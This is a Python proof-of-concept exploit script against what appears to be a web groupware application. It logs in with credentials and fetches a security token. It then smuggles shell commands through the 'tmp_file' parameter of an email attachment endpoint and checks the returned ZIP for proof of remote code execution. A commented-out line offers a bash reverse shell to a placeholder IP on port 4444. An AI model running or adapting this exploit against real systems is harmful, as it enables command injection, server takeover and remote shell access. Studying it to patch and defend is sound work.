#!/usr/bin/env python3 import io import os import sys import uuid import zipfile import requests TARGET_URL = "http://localhost:9090" USER_NAME = "user" PASSWORD = "[PASSWORD]" CMD = "id" # CMD = "bash -c 'bash -i >& /dev/tcp/XXXX.XXXX.XXXX.XXXX/4444 0>&1'" For reverse shell def index_url(base_url: str) -> str: if base_url.endswith(".php"): return base_url return base_url.rstrip("/") + "/index.php" def login(session: requests.Session) -> str: url = index_url(TARGET_URL) + "?r=core/auth/login" headers = {"X-Requested-With": "XMLHttpRequest"} data = {"username": USER_NAME, "password": PASSWORD} print(f"[*] Target: {TARGET_URL}") resp = session.post(url, data=data, headers=headers) try: body = resp.json() except Exception: print("[!] Login response is not JSON") print(f" Status: {resp.status_code}") print(f" Body (first 200 chars): {resp.text[:200]}") sys.exit(1) print(f"[*] Login status: {resp.status_code}") if not body.get("success"): print("[!] Login failed") print(f" Response: {body}") sys.exit(1) token = body.get("security_token") if not token: print("[!] Missing security_token in login response") print(f" Response: {body}") sys.exit(1) print("[*] Login ok, security_token received") return token def exploit(session: requests.Session, security_token: str) -> None: url = index_url(TARGET_URL) + "?r=email/message/tnefAttachmentFromTempFile" marker = "RCE_POC_" + uuid.uuid4().hex[:8] payload = f"dummy.dat;{CMD} > /tmp/id;{CMD} > rce.txt;echo {marker} >> rce.txt;#" params = {"tmp_file": payload, "security_token": security_token} print(f"[*] Exploit URL: {url}") print(f"[*] tmp_file payload: {payload}") resp = session.get(url, params=params) if resp.status_code != 200: print(f"[!] Unexpected HTTP status: {resp.status_code}") print(f"[*] Response status: {resp.status_code}") try: zf = zipfile.ZipFile(io.BytesIO(resp.content)) except zipfile.BadZipFile: print("[!] Response is not a ZIP file") print(f" Body (first 200 chars): {resp.text[:200]}") return if "rce.txt" not in zf.namelist(): print("[!] ZIP received but rce.txt not found") print(f" Files: {zf.namelist()}") return data = zf.read("rce.txt").decode(errors="replace").strip() if marker in data: print(f"[+] RCE Confirmed") output = data.replace(marker, "").strip() print(f"[+] Command output ({CMD}):") print(output) else: print("[!] rce.txt found but marker missing") print(f" rce.txt content: {data}") def main() -> None: session = requests.Session() token = login(session) exploit(session, token) if __name__ == "__main__": main()